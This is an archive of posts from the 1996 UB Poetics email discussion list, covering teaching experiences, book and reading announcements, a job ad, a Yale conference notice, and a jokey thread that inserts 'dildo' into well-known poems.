I'm not at that school anymore. But I still have many young talent African-American male students this fall, and looking at them, I see Ethan Thomas Jr.

Julia Stein

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494. **Rod Smith**
Re: poetry and play
Mon 23 Sep 1996

> *How can an institutional setting generate fun and transformative study of literary play?*

Of course this is nearly impossible. I don't know if you're teaching creative writing but one thing I found useful was to have students write in response to something other students had written. They could appropriate or not-- & they didn't mind at all when it became parody but more often it didn't, or certainly not just that. I was lucky enough to have a stylistic range among my students so this worked particularly well.

Just telling them "it's not all play" doesn't seem to me like it would work-- but letting them think it's all play if they want & quickly getting them to _focus_ that play might.

Another question would be can one really teach innovative writing in a context that doesn't involve doing it as well.

--Rod

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495. **Jordan Davis**
Re: poetry and play
Mon 23 Sep 1996

Rod, That's a great idea, to make the students conscious of being inspired -- or maybe just energetically referring -- to something another student wrote. Could you or Gary say something about what you mean by 'inflexible' and 'flexible' settings, though? Jordan

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496. **Laura Moriarty**
Re: poetry and play
Mon 23 Sep 1996

Gary -

Carla Harryman's book There Never Was A Rose Without A Thorn from City Lights ('95) is much about play and games and contains plays. It is a very enjoyable read and I would think a natural for your course.

Laura Moriarty

> *I'm putting together a course on play, games, and lit, and am looking for recommendations-- I've got fictions and theater covered, but the poetry side of the experience needs help. Stein and Cage are in the running, but other suggestions would be appreciated. Silly or serious poems/poets/poetics are welcome.*
> *Thanks,*
> *Gary Roberts*

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497. **DS**
Re: Dildo Whaling
Mon 23 Sep 1996

Well paint me pink. All this talk about dildos just as i was trying to decipher a poem by a poet called Rough Trades... quite appropriate when you read the poem.... & you may note the connections with other stains of discussion.

DILDO OF THE FAT FACED MAN

None guards the moor where stands
Receipt of scorn, doting on dildo
Mill as fool compose, compare, come
Fair padre to your pleated score
Mind the ducks but not the door
Autumnal blooms have made us snore

By crickey good people, this sort of muck ought to be banned. I'll have to bring it to the attention of my local christian candidate, it is election year down this way too.

Yours sincerely,

Dan

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498. **Tony Green**
5757
Mon 23 Sep 1996

Thanks for the greeting, Charles, and Well over the Fast.

Tony Green,
e-mail: [redacted]

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499. **Tony Green**
Re: Dildo Whaling
Mon 23 Sep 1996

In fairness, DS, send the Dildo Whaling poem to ALL political parties. best

Tony Green,
e-mail: [redacted]

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500. **maria damon**
Re: teaching traumas
Mon 23 Sep 1996

In message <[redacted]> UB Poetics discussion
group writes:
> My major teaching trauma is last Novemeber I saw in the Los Angeles Times
> that Ethan Thomas Jr, one of my former African-Anmerican students, had just
> been killed at 22 years. He was also a journalist intern at the Los Angeles
> Times. He was in my class when I taught English in a community college in

> Southcentral Los Angeles. He was one of the best student/writers I ever
> had, was managing editor and journalist on the school newspaper. I
> remember when the class had to do autobiographical writing Ethan wrote
> about seeing cops stopping people in Southcentral. He wanted to report on
> it for the Los Angles Times, told the cop he was a Times reporter but the
> policeman wouldn't believe him. I had him read the story to the class and
> he was an exceptionally powerful reader of his own work. He also had a rare
> sensitivity to the plight of other people's suffering. AFter Ethan's death,
> the Times published another autobiographical piece of his in which he
> described his mother as being addicted to crack cocaine and asking him to
> buy crack for him her at a young age. He was trying to leave that life
> behind, make a new life for himself as a journalist, and was ready to
> transfer to a state university when he was killed.
>
> I'm not at that school anymore. But I still have many young talent
> African-American male students this fall, and looking at them, I see Ethan
> Thomas Jr.
>
> Julia Stein

thanks for the reality story. md

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501. **Joe Amato**
Re: teaching traumas
Mon 23 Sep 1996

---

julia, yes, that's trauma alright... i've fortunately never had the experience, though i know teachers who have...

thanx for bringing that to light...

joe

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502. **Christina Fairbank Chirot**
Blasphemy and the Avant-Garde (fwd
Mon 23 Sep 1996

Re the recent "alternative" and " avant-garde" threads--
(fwded with permission)
--dbc

Maintaining 'what you think it is' through the gateway of 'what it will become;' is the greatest art-lesson. The avant-garde is now sanctioned, economically

expedient and pre-disposed to favor its own replicated hierarchy. Slashing all arts funding can be a positive purge. The a-g bureaucrats (curators, professors, gallerists) in fact still receive exorbitant funding and perhaps worse, perpetuate this self-serving dependence and cynically 'crowd out' and 'contextualize' most significant shifts. Truth is, the institutions of art today very rarely expedite meaningful events, support working artists or contribute to the communities that are forced to bankroll them. We've come to expect elitist/restrictive, officious posturing and collegial pandering all in the name-only of the avant-garde. Our art institutions at best deliver some social cache for the board of directors and are high-class dating services for patrons. More often than not Art education, rather than respecting and supporting working itinerant artists on a serious scale, merely spawns self-satisfied, tenured, mediocrity.

...

I attended The Saint John Coltrane Church recently where the (jazz) music and art inspire community and self-respect. The Minister plays sax and conch-shell and the house-band Ohnedaruth, along with whatever players have turned up in the congregation, churn out the rifts of John Coltrane. The bassist, Wanika King, would close her eyes and achieve the quiet focus to carry forth the rhythm and the punctuated gospel message from the Voices of Compassion choir. The life-sized icons of Saint John the Divine Sound Baptist that adorn the walls of this storefront church are created by Rev. Mark Dukes and adeptly incorporate a mannerist modeling that recalls stylized inner-city tags. Here there is hope.

- -

The Saint John Coltrane Memorial Human Outreach Programs
351 Divisadero Street, San Francisco, California 94117

...so therefore brotherhood is there, and I believe with brotherhood there would be no poverty... And also with brotherhood, there would be no war...
-Saint John Will-I-Am Coltrane

Love Inspired
Providing Works of Charity
Committed to Serving the Needs of the People

Free Hot Meals -- 27 years of continuous service, recognized by the California State Legislature. Free hot vegetarian meals. No discrimination as to race, creed, religious affiliation. Participants served as honored guests. Including international travellers.

Free Clothing -- Infant, children's program. Teen and single parents. Poor families, hospitals, shelters. Periodic distribution of coats, quilts and blankets.

Temporary Shelter -- Limited space available for teen parents, women with children, orphans, men.

Free Music Classes -- Music theory and practice. Music appreciation skills clinics. Listening clinics - cd's, tapes, records. Instruments given by scholarship.

Computer and Graphics Classes -- Macintosh Basic Skills Classes

CPR and First Aid Classes -- Basic life support for infants, children and adults. Certification from the American Heart Association. Taught by Registered Nurses.

Saint John Coltrane Community Garden -- Providing a peaceful and meditative meeting and prayer space. Voluntary service of the community with gardening and upkeep.

ftp://users.aol.com/McGrafx/Coltrane/index.html
http://www.teleport.com/~bbrace/coltrane.html

—

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503. bitmap addressing

Re: Blasphemy and the Avant-Garde (fwd

Tue 24 Sep 1996

"merely spawns self-satisfied, tenured, mediocrity."

hhhhhhhmmmmpppth! I resemble that remark said the spider to the fly.

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504. George Bowering

Re: more flavours

Tue 24 Sep 1996

> *George Bowering wrote:*
>
> *I just found this from p. 91 of the Sun&Moon edition of Gertrude Stein's _Mrs. Reynolds_:*
>
> *"I suppose said he that a dildo could be a lightning conductor."*
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> *Thomas Nashe (1567-1601) in "The Merry Ballad of Nash his Dildo":*
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> *But then again in a more Benedettian mode (from "A Litany in Time of Plague"):*
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> *This world uncertain is;*
> *Fond are life's lustful joys;*
> *Death proves them all but toys;*
> *I am sick, I must die.*
> *Lord, have mercy on us!*
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> *George Bowering added:*
>
> *Excellent!*
>
> *Just this weekend I was looking at some early Emily Dickinson, and found this:*
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> *Success is counted sweetest*
> *By those who ne'er succeed.*
> *To comprehend a dildo*
> *Requires sorest need.*
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> *As John Crowe Ransome used to say: "Amazing!"--shaking his head of locks the while.*

Rachel replied:
>
>What a coincidence! I just stumbled over this nugget from Millay's
>"Ashes of Life":
>
> Love has gone and left me and the days are all alike;
> Eat I must, and sleep I will, -- and would that night were here!
> But ah! -- to lie awake and hear the slow hours strike!
> Would that it were day again! -- with twilight near! ...
>
> Love has gone and left me, -- and the neighbors knock and borrow,
> And life goes on forever like the gnawing of a mouse, --
> And to-morrow and to-morrow and to-morrow and to-morrow
> There's this little dildo and this little house.
>
>Who'd a thunk it?

I cant believe this! Late last night, unable to sleep, I stood beside the bedroom window, and by the light of the stars read this curious piece called "Art" by Herman Melville. It suggests, I am afraid a cynicism one hopes not to meet often:

> In placid hours well-pleased we dream
> Of many a brave unbodied scheme.
> But form to lend, pulsed life create,
> What unlike things must meet and mate:
> A flame to melt--a wind to freeze;
> Sad patience--joyous energies;
> Humility--yet pride and scorn;
> Instinct and study; love and hate;
> Audacity--reverence. These must mate,
> And fuse with Jacob's mystic heart,
> To wrestle with this dildo--Art.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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505. George Bowering
Re: teaching traumas
Tue 24 Sep 1996

> *In message <[redacted]> UB Poetics discussion group writes:*
> *My major teaching trauma is last Novemeber I saw in the Los Angeles Times that Ethan Thomas Jr, one of my former African-Anmerican students, had just been killed at 22 years. He was also a journalist intern at the Los Angeles Times. He was in my class when I taught English in a community college in Southcentral Los Angeles. He was one of the best student/writers I ever had, was managing editor and journalist on the school newspaper. I remember when the class had to do autobiographical writing Ethan wrote about seeing cops stopping people in Southcentral. He wanted to report on it for the Los Angles Times, told the cop he was a Times reporter but the policeman wouldn't believe him. I had him read the story to the class and he was an exceptionally powerful reader of his own work. He also had a rare sensitivity to the plight of other people's suffering. AFter Ethan's death, the Times published another autobiographical piece of his in which he described his mother as being addicted to crack cocaine and asking him to*

> *buy crack for him her at a young age. He was trying to leave that life behind, make a new life for himself as a journalist, and was ready to transfer to a state university when he was killed.*
>
> *I'm not at that school anymore. But I still have many young talent African-American male students this fall, and looking at them, I see Ethan Thomas Jr.*
>
> *Julia Stein*
>
> *thanks for the reality story. md*

Yes. That story makes our problems up here seem pretty manageable. I dont know how a person can bear such a thing.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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506. **DS**

Re: more flavours

Tue 24 Sep 1996

Melville is well known for such themes. Think on Me & My Chimney, The Lightening Rod Man & not least his poem 'Suggested by the Ruins of a Mountain-Temple in Arcadia, One built by the Architect of the Parthenon'

Dan

> *I cant believe this! Late last night, unable to sleep, I stood beside the bedroom window, and by the light of the stars read this curious piece called "Art" by Herman Melville. It suggests, I am afraid a cynicism one hopes not to meet often:*
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George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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507. **Peter Quartermain**

My long silence

Tue 24 Sep 1996

Dear all:

Sorry to abuse the list with this mass mailout, but it's the only more or less effortless way i can find to do this. Those of you to whom this does not apply will please ignore it, but I want to ask all those I've neglected over the last couple of weeks with my curnudgeonly silence not to take it personally. I've been very ill and am now SLOWLY recovering. Now I'm back home I can receive e-mail once again (and read the 14 day backlog!) but it will take me a while (2 weeks I'd guess) to get all those individual replies convalescently off, and some are obviously more urgent than others. I SHALL get all letters of recommendation in on on time; I'll be a bit slower with diss. chapters and the like. Please forgive my slowness, and hang in there. Thanks.

Peter

+ + + +

+ +

↑ Index

508. Bill Luoma
Reading
Tue 24 Sep 1996

Nick Flynn & Major Jackson
will read Sunday Sept 29th at the Fall cafe
in Brooklyn
at 3:00pm
(307 Smith street near president).

for info on the series, call [redacted]

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509. Rachel Loden
Re: more flavours
Tue 24 Sep 1996

George Bowering wrote:

> *I cant believe this! Late last night, unable to sleep, I stood beside the bedroom window, and by the light of the stars read this curious piece called "Art" by Herman Melville. It suggests, I am afraid a cynicism one hopes not to meet often:*
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> > *Instinct and study; love and hate;*
> > *Audacity--reverence. These must mate,*
> > *And fuse with Jacob's mystic heart,*
> > *To wrestle with this dildo--Art.*

Curiouser and curiouser. I do feel I must have entered a parallel universe. This morning in the garden, reading Miss Moore, I came upon a poem both utterly familiar and strangely changed--although I cannot put my finger on exactly where:

> If I, like Solomon, . . .
> could have my wish--

my wish . . . O to be a dildo,
a symbol of the power of Heaven--of silkworm
size or immense; at times invisible.
Felicitous lingam!

Surely this throws a new and somewhat disturbing light on the poet's well-known love for the artifact. Or--the other possibility--I am losing my mind.

Rachel Loden

↑ Index

510. **maria damon**
Re: My long silence
Tue 24 Sep 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Dear all:
>
> Sorry to abuse the list with this mass mailout, but it's the only more or
> less effortless way i can find to do this. Those of you to whom this does
> not apply will please ignore it, but I want to ask all those I've neglected
> over the last couple of weeks with my curnudgeonly silence not to take it
> personally. I've been very ill and am now SLOWLY recovering. Now I'm back
> home I can receive e-mail once again (and read the 14 day backlog!) but it
> will take me a while (2 weeks I'd guess) to get all those individual replies
> convalescently off, and some are obviously more urgent than others. I SHALL
> get all letters of recommendation in on on time; I'll be a bit slower with
> diss. chapters and the like. Please forgive my slowness, and hang in there.
> Thanks.
>
> Peter

peter, sorry you've been ill, and while i am not awaiting a letter of rec or a personal note, i wish you a gentle and speedy transition back to health. take good care, rest a lot and drink plenty of water...bests, maria d

↑ Index

511. **Jordan Davis**
Poetry City Oct 10 - Bouchard / Mills
Tue 24 Sep 1996

Poetry City's second season begins on Thursday October 10, 7 pm. Dan Bouchard, "August" author and Mass Ave editor, will be reading with David

Mills, poet, playwright, actor and teacher. Poetry City (like Brigadoon) exists only once a week in the offices of Teachers & Writers Collaborative, 5 Union Square West, New York NY 10003. Admission is free. There will be wine, food and music. Reading at Poetry City on Friday October 18 at 7 pm will be Tim Davis and Juliana Spahr. Poetry City is hosted by Jordan Davis and Anna Malmude, and is sponsored by the National Endowment for the Arts. This announcement to you was brought by the trope 'epistrophe.'

↑ Index

512. Henry Gould
RI reading
Tue 24 Sep 1996

Nancy Donegan & Steve Oberberg will read at Native Gallery on Fri. October 4th at 8 pm. Gallery opening for October exhibit 6-8 pm. Free/pass-the-hat.

Native Gallery, 387 Charles St, Providence. Call [redacted] for directions (or backchannel to me). Sponsored by the Poetry Mission.

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513. Joseph Conte
Dictionary of Literary Biography
Tue 24 Sep 1996

I thought I would take the opportunity to promote a recently-published volume that is of general interest to members of the Poetics list:

Dictionary of Literary Biography 165: American Poets Since World War II, ed. Joseph Conte (Detroit: Gale Research Press, 1996), 377 pp.

The volume contains several new essays on poets--and by contributors--who are important to all of us, including:

Roger Gilbert on A. R. Ammons Anne Dewey on Denise Levertov Tom Gardner on John Ashbery Peter Baker on Bernadette Mayer Miriam Nichols on Robin Blaser W. Spiegelman on James Merrill John Ernest on William Bronk Jeff Peterson on George Oppen F. J. Griffin on Gwen Brooks Linda Hamalian on K. Rexroth David Landrey on Hayden Carruth Phoebe Pettingell on S. Sandy Juliana Spahr on Lyn Hejinian A. J. Sabatini on Armand Schwerner Burt Kimmelman on Michael Heller Kevin McGuirk on Gary Snyder Patrick Meanor on Robert Kelly James McCorkle on Charles Wright Ruth Hsu on Li-Young Lee Mark Scroggins on Louis Zukofsky

The essays are rather thorough (5000-15,000 words) with primary and secondary bibliographies and _photo illustrations_. Easily photocopiable on 8 1/2 x 11 in. paper!

The _DLB_ series is generally found in the reference collection of most university, college, and (larger) public libraries. Because of the cost per volume (about $120) I'm not promoting individual sales (I don't make any royalties on this project anyway). But I think you might want to have a look at several of the terrific essays in the book the next time you're in your local library.

A second volume has already been sent to the publisher with an additional 25 essays and should be in print within a month or two.

Joseph Conte

↑ Index

514. Jean Crown
Conference on Modernism and the Orient
Tue 24 Sep 1996

Here is a conference announcement that may be of interest to some members of the Poetics List. --Kathy Crown

>>
>>
>> A CONFERENCE ON MODERNISM AND THE ORIENT IN CONJUNCTION
>>
>> WITH THE EXHIBITION
>>
>> PETALS ON A WET BLACK BOUGH: MODERNISM AND THE ORIENT
>>
>> YALE UNIVERSITY, OCTOBER 18-19, 1996
>>
>> American Modernist writers discovered the Far East at the turn of
>>the Twentieth Century, just as they prepared for their careers. The best
>>known instance was Ezra Pound's receipt of Ernest Fenollosa's notes on
>>Chinese poetry and Japanese Noh drama in the autumn of 1913. Pound's
>>interest inspired his colleagues to follow suit while Chinese history
>>and poetry were to mark his life work.
>> But the story of the American writers' readiness to examine the
>>Far East lies in earlier American experience, from the opening of Japan
>>by Commodore Perry in 1853 to the publication of Pound's famous
>>pre-Fenollosa haiku in POETRY in April, 1913:
>>
>> IN A STATION OF THE METRO

>>
>> The apparition of these faces in the crowd;
>> Petals on a wet black bough.
>>
>>Through travel, literature, philosophy, education, religion, and the
>>fine and decorative arts, Americans involved themselves in the East,
>>particularly China and Japan. Bayard Taylor, the most widely read
>>journalist of his time, accompanied Perry and published his impressions
>>of the voyage; he lectured about his experiences in nearly 100 American
>>cities and towns. When the first Japanese delegation came to New York,
>>Walt Whitman watched their broadway parade, and his poem about it
>>appeared in the NEW YORK TIMES for June 27, 1860. In 1876, the
>>Centennial Exposition in Philadelphia featured a Japanese Pavilion where
>>Americans observed objects crafted with unseen beauty; the next year,
>>President Grant met with the Prince Regent of China and the Emperor of
>>Japan, a step hitherto unimaginable, and his trip electrified Americans.
>>Percival Lowell, John La Farge, and Henry Adams traveled to Japan to
>>observe customs, nature, and art in the 1880s.Meanwhile, Chinese and
>>Japanese themes inundated fiction and the theater, with THE MIKADO and
>>MADAMA Butterfly rising to immense popularity. Influence by Lowell's THE
>>SOUL OF JAPAN, Lafcadio Hearn moved to Japan and his books on local life
>>became best-sellers in the States. Stirred by these events, Leo Stein,
>>later a collector of Japanese art, and Hutchins Hapgood, a journalist
>>who helped to found the Provincetown Players, were the first of the
>>Modernist generation to travel to Japan and bring their experiences home
>>to Gertrude Stein and Eugene O'Neill.
>> After Harvard, Ernest Fenollosa taught philosophy at the
>>Imperial University in Tokyo and later established himself as an
>>authority on Japanese art; he formed the great collections of the Museum
>>of Fine Arts, Boston, and the Freer Gallery. His legacy of Chinese
>>poetry and Japanese Noh drama, unpublished at his death, received
>>Pound's best attention and survives today. The other American
>>modernists, H.D., Wallace Stevens, Williams Carlos Williams, Amy Lowell,
>>E. E. Cummings, Marianne Moore, Stein and O'Neill among them, made
>>serious and largely unobserved use of Japanese and Chinese art and
>>literature, both in response to Pound's influence and because of their
>>own meetings with Eastern art, literature, and philosophy. These
>>influences and responses will be demonstrated in the exhibition by
>>books, manuscripts, photographs, and works in other media.
>>
>> MODERNISM AND THE ORIENT: A CONFERENCE
>>

>>Friday, October 18: 5:30 pm, Sudler Hall (across from the Beinecke
>>Library)
>> Opening lecture by Jonathan Spence, Sterling Professor of
>>History,
>> Yale University: "Whose Modernism? The View from China"
>>
>> A reception and the opening of the exhibition at the Beinecke
>>Library follow
>>
>>Saturday, October 19: 9:00-5:00, Whitney Humanities Center, 53 Wall
>>Street
>>
>> Richard Taylor, University of Bayreuth, on Yeats
>> Zhaoming Qian, University of New Orleans, on Stevens and Chinese
>>Art
>> Stephen Meyer, Washington University, on Stein
>> Patricia Willis, Yale University, on pre-Modernist Orientalism
>> Mary Paterson Cheadle, Seattle, Washington, on Pound and
>>Confucius
>> Jennifer Greeson, Yale University, on John Gould Fletcher
>>
>>Co-sponsored by the Beinecke Rare Book and Manuscript Library and the
>>Whitney Humanities Center. The conference is free and open to the
>>public. A complementary buffet lunch will be served.
>>
>>Please contact: Patricia C. Willis [redacted]
>>Fax: [redacted]
>>Email; [redacted]
>>Beinecke Rare Book and Manuscript Library
>>121 Wall Street
>>Yale University
>>New Haven CT 06520-8240
>>

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↑ Index

515. **Jeffrey W. Timmons**
Re: reading retallack (fwd)
Tue 24 Sep 1996

---

steve: re retallack

i dont get it either. though im tempted to say that its a trick of the eye. its certainly a challenge though isnt it? and those longish sections with what looks like the space of two pages being used across the bottom third of the page? does one read across the two pages or one then the other left to right top to bottom. i also believe theres actually another books called afterimages . . . but the author escapes me.

jeffrey timmons

↑ Index

516. **Jeffrey W. Timmons**
Re: teaching traumas... (fwd)
Tue 24 Sep 1996

---

in terms of teaching traumas . . . ive dealt with "reverse racism" and associated phenomena as well. but rather than stories from the front i wanted to offer somewhat apropos joe amatos post that anytime one foregrounds the various positions from which we confront texts such differences create (productive) tension: in the sense that reading can no longer be a unmediated experience. foregrounding issues like race class gender is creating a theory of reading that asks students to reflect self-consciously on their own ways of reading/seeing. and in a writing course reflection on such processes is good. also: in a recent critical inquiry article on white liberal guilt the writer made the claim that theory induces guilt: precisely because of its self-reflexive nature.

jeffrey timmons

↑ Index

517. **Steve Shoemaker**
Re: reading retallack (fwd)
Tue 24 Sep 1996

Jeff,

Well, i hadn't "gotten" it, literally, in that i hadn't even obtained a copy of AFTERRIMAGES until a few days after my original post. This isn't meant to imply that i don't find the reading difficult. Now that i have the book and have made a start, I do. But i'm also enjoying it quite a bit as well, finding, among other things, much humor. I've only gotten thru the first section so far, so haven't reached the part you're talking about below. So far i like the effect of the bifurcated page, and find myself thinking (in this first section) of the bottom of the page as an after(r)image of the top part, a kind of dis/integration of what has gone before that is also a strongly visual re/composition. I like the way the book drives you to attend to pagespace. Much of the meaning-making i find

myself engaged in seems to work on architectural principles, as in "text breaks into architecture of page" . . .

steve

And many thanks to those other who have replied to my query.

On Tue, 24 Sep 1996, Jeffrey W. Timmons wrote:

> *steve: re retallack*
>
> *i dont get it either. though im tempted to say that its a trick of the eye. its certainly a challenge though isnt it? and those longish sections with what looks like the space of two pages being used across the bottom third of the page? does one read across the two pages or one then the other left to right top to bottom. i also believe theres actually another books called afterimages . . . but the author escapes me.*
>
> *jeffrey timmons*

Steve Shoemaker

↑ Index

518. Jeffrey W. Timmons
Re: reading retallack (fwd)
Tue 24 Sep 1996

---

steve:

and doesnt it require you to read much more say visually? doesnt it place the word as image in a different space require a more visual imagination? its been a while since ive read it but even "reading" doesnt seem to approximate what is appropriate to the poem. actually it reminds me of how visual artists are coming the other way to text (as opposed to writers coming to visual image/word). what sort of critical language is appropriate/conducive to such a image/text?

jeffrey

↑ Index

519. Robert Drake
Re: Helmut Heissenbuttel 1921-1996
Tue 24 Sep 1996

> *I note with sadness a small item in today's New York Times marking the death of Helmut Heissenbuttel, a marvelous German poet, whose work will be known to many on this list.*
>
> *The Times, via the AP, presents Heissenbuttel as a "leader in the post-Dada style of literature known as concrete poetry, an experimental form*

> *relying on puns and other wordplay, and not adhering to the rules of grammar and punctuation."*
> *What? Well ... not quite, not even nearly ...*

Emmett Williams included several poems of Heissenbuttel's in his _Anthology of Concrete Poetry_, w/ the note: "Although Heissenbuttel does not consider himself a concrete poet, Daniel Spoerri inclueded this poem ["das sagbare sagen..."] and two others by H. in the first international anthology of concrete poetry in 1958."

blame it on th anthologists...

lbd

↑ Index

520. Robert Drake
forwarded mssg: position available
Tue 24 Sep 1996

---

i'm just passing this on: reply direct to Harry Polkinhorn at the address below...

Begin forwarded message:
From: [redacted] (Harry Polkinhorn)
To: [redacted]
Date: 96-09-21 11:38:30 EDT

Fiction Writing. Tenure-track position in fiction writing beginning Fall 1997 at associate professor rank for published writer with several books. MFA or Ph.D. preferred. Undergraduate and graduate instruction, including MFA workshops. Candidates with demonstrated interdisciplinary teaching and research interests and the ability to work well with students from diverse cultural backgrounds, as well as a commitment to teaching excellence and scholarship are strongly encouraged to apply. Send application to include cover letter, 20-page sample of writing, CV, and three letters of recommendation to Carey Wall, Chair, English & Comparative Literature, San Diego State University, 5500 Campanile Way, San Diego, CA 92182-8140, [redacted] FAX [redacted]. Review of applications will begin November 15, 1996, continuing until position is filled. SDSU is an Affirmative Action/Equal Opportunity/Title IX employer and does not discriminate against persons on the basis of race, religion, national origin, sexual orientation, gender, marital status, age, or disability.

End forwarded message

↑ Index

521. **Jordan Davis**

Epistrophe, Anastrophe, Poetry City

Tue 24 Sep 1996

Around,
Turning around,
And blushing; around
Accidents strange flowers, around
The dictionaries near misses, around
And around -- hysteron proteron -- not around
Epistrophe words are inverted, no, but around
Anastrophe, Anna tells me, are they turned around.
Around Friday -- not Thursday -- Oct 18
Photographer, bicyclist, poet, Tim Davis,
Author of _The Analogy Guild_, and Juliana Spahr,
Of _Testimony_, _Nuclear_, and _Response_ the author,
She, late of the lower east side but now of Albany,
Of the genre-rewiring Chain (with Jena Osman) editor,
Will read their poetry. Really. And then, to skip
To the end, a week before Boxing Day Anselm Berrigan
And Max Winter will read, on the 19th, a Thursday,
Preceded by two days by Ishmael Klein and Alice Notley.
The week before, on the twelfth, Ben Friedlander
And Samuel R. Delany will read their work, and after seven
Days before that we will have heard Brenda Coultas
And Ange Mlinko. A week after Halloween, to jump
To the 7th of November, poets John Wieners and Eleni
Sikelianos will read, to be followed on the 14th
By Kevin Young and Janice Lowe. Thanksgiving comes
A week after Rochelle Kraut and Pam Grossman read,
And four weeks after Steve Carll arrives in New York,
Or, to be perverse about it, five weeks after Todd
Colby and Nick Zedd do what they will. It is all
Out of sequence now, but after Dan Bouchard and David
Mills have read on October 10, I imagine things
Will be clearer, will all seem to be connected and
Yet in a sequence that makes as much sense as any other.

↑ Index

522. Anselm Hollo
Helmut Heissenbuttel
Wed 25 Sep 1996

--PART.BOUNDARY.0.7143.emout17.mail.aol.com.843629963

re: Helmut Heissenbuttel

--PART.BOUNDARY.0.7143.emout17.mail.aol.com.843629963

--PART.BOUNDARY.0.7143.emout17.mail.aol.com.843629963-ad
name="heissenb ttel";
X-Mac-Creator="4d574949";
X-Mac-Type="4d573244"

--PART.BOUNDARY.0.7143.emout17.mail.aol.com.843629963-ad
name="heissenb ttel";
X-Mac-Creator="4d574949";
X-Mac-Type="4d573244"

--PART.BOUNDARY.0.7143.emout17.mail.aol.com.843629963-ad--

--PART.BOUNDARY.0.7143.emout17.mail.aol.com.843629963--

↑ Index

523. Mark Wallace
National Congress Sample Press Release (fwd)
Wed 25 Sep 1996

---------- Forwarded message ----------
Date: Wed, 25 Sep 1996 01:14:57 -0400
From: Jonathan David White <[redacted]>
To: Multiple recipients of list GWENGL <[redacted]>
Subject: National Congress Sample Press Release

Interested in creating better working conditions for Graduate Teaching Assistants, part-time faculty, adjuncts, and non-tenure-track full-time faculty?

In Washington DC, December 27-28, concurrent with the MLA Convention, will be a National Congress of Part Time, Adjunct, GTA, and Non-Tenure Track faculty. We will be meeting to share information and ideas about solutions to the ongoing crisis in the working conditions of marginalized faculty like us. The National Congress will include workshops on specific issues of interest to graduate students, part-timers, and full-time faculty who are committed to justice in higher education, as well as plenary discussions on such issues as unionization of marginal faculty, how to make the AAUP more responsive to part-timer/GTA

concerns, and ways to open the make the MLA more engaged in issues of justice in employment.

The National Congress is free and open to anyone genuinely interested in the employment conditions of part-time faculty, GTAs, non-tenure track faculty, and adjuncts.

More information, and a chance to get involved in planning the National Congress, is available by joining the NATLCONG listserv. Send a subscription message ("Subscribe NATLCONG yourname") to [redacted]. Other requests for information can be directed to [redacted].

I hope many of you, especially those already planning on attending the MLA this December, will participate in what looks to be a very important event in the development of a national strategy for justice in college/university teaching.

↑ Index

524. George Bowering
Re: My long silence
Wed 25 Sep 1996

Dear Peter

Just get better and better every day in every way.

Be heartened by the fact that I showed Peter Gizzi the photo of you and Blaser and me acting like right fools at the party for WCL

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

525. dutch chocolate chip
Re: Helmut Heissenbuttel (Anselm Hollo)
Wed 25 Sep 1996

Anselm,

It is 99% of the time inappropriate to send attachments to a listserv. One reason being that it produces an inordinate load on the server. Attachments are handled differently than the mime type of your mail so it requires more cpu

time to handle attachments. If this were done on a regular basis by all members of the list it has the ability to bring the poetry server to its knees which would result in none of us getting any mail. Not to mention the additional cost (read $) to our gracious hosts.

Another reason is that since we all have differing platforms and clients there is no way that you as the sender can be assured of anyone being able to read your missive (whereas with email you can). This is the case for me with your last post's attachment. I may have the ability to read your attachment if I find the correct client to read it. I am not going to do that as I don't have time. My guess is that most if not all of the recipients of the list do not have access to the correct client necessary to read your attachment.

For the sake of clarity it is always appropriate when sending to a listserv that you copy your text into a clipboard file and then paste it directly into an email message rather than send it as an attachment. When you do this you will enable 100% of the listserv clients to read your text (as all of our mail readers are fully mime compliant) and allow the listserv to operate at normal efficiency.

The best to you & hope you can resend your message to the list.

Sincerely,

Col. Eduard Lingum & his dancing slave girls.

> *MIME-Version: 1.0*
> *Date: Wed, 25 Sep 1996 01:39:24 -0400*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Sender: UB Poetics discussion group <[redacted]>*
> *From: Anselm Hollo <[redacted]>*
> *Subject: Helmut Heissenbuttel*
> *To: Multiple recipients of list POETICS <[redacted]>*
>
> *Content-ID: <[redacted]>*
> *Content-type: text/plain*
>
> *re: Helmut Heissenbuttel*
>
> *Content-ID: <[redacted]>*
> *Content-type: application/applefile;*
> *name="heissenb ttel";*
> *X-Mac-Creator="4d574949";*
> *X-Mac-Type="4d573244"*
>
> *Attachment converted: Velimir:heissenbüttel (MW2D/MWII) (0001BE4F)*

↑ **Index**

526. **Peter Landers**
Re: Helmut Heissenbuttel (Anselm Hollo)
Wed 25 Sep 1996

I was very excited to get that email from Anselm! Wow!

But then I thought, what about the people who don't use the same software. And then I thought, and what about the folks who get the digest. I bet it doesn't look very good in the digest...

Anselm,

If you tell me to, I will repost that for you.

Pete Landers
[redacted]

↑ Index

527. **Tony Green**
Re: Helmut Heissenbuttel (Anselm Hollo)
Wed 25 Sep 1996

HH text looked very strange on my software. best

Tony Green,
e-mail: [redacted]

↑ Index

528. **Charles Smith**
Re: Helmut Heissenbuttel (Anselm Hollo)
Wed 25 Sep 1996

Please repost this Anselm! I managed to open it, but the way it comes out on my screen, there are line breaks in the middle of words.

thanks,

charles

↑ Index

529. **Steve Shoemaker**
Re: reading retallack (fwd)
Wed 25 Sep 1996

Jeffrey--Yes, to what you say about visual imagination. The space created strikes me as somehow meditative as well (as it also does the anonymous

blurber on the back cover). As for developing "critical language," tho, i'm afraid i'm not yet at that stage of reading. Still first blushing... steve

On Tue, 24 Sep 1996, Jeffrey W. Timmons wrote:

> *steve:*
>
> *and doesnt it require you to read much more say visually? doesnt it place the word as image in a different space require a more visual imagination? its been a while since ive read it but even "reading" doesnt seem to approximate what is appropriate to the poem. actually it reminds me of how visual artists are coming the other way to text (as opposed to writers coming to visual image/word). what sort of critical language is appropriate/conducive to such a image/text?*
>
> *jeffrey*

Steve Shoemaker

↑ Index

530. Rod Smith
new Perloff, Wallace, Out of Everywhere etc @ Bridge Street
Wed 25 Sep 1996

Some of the latest.

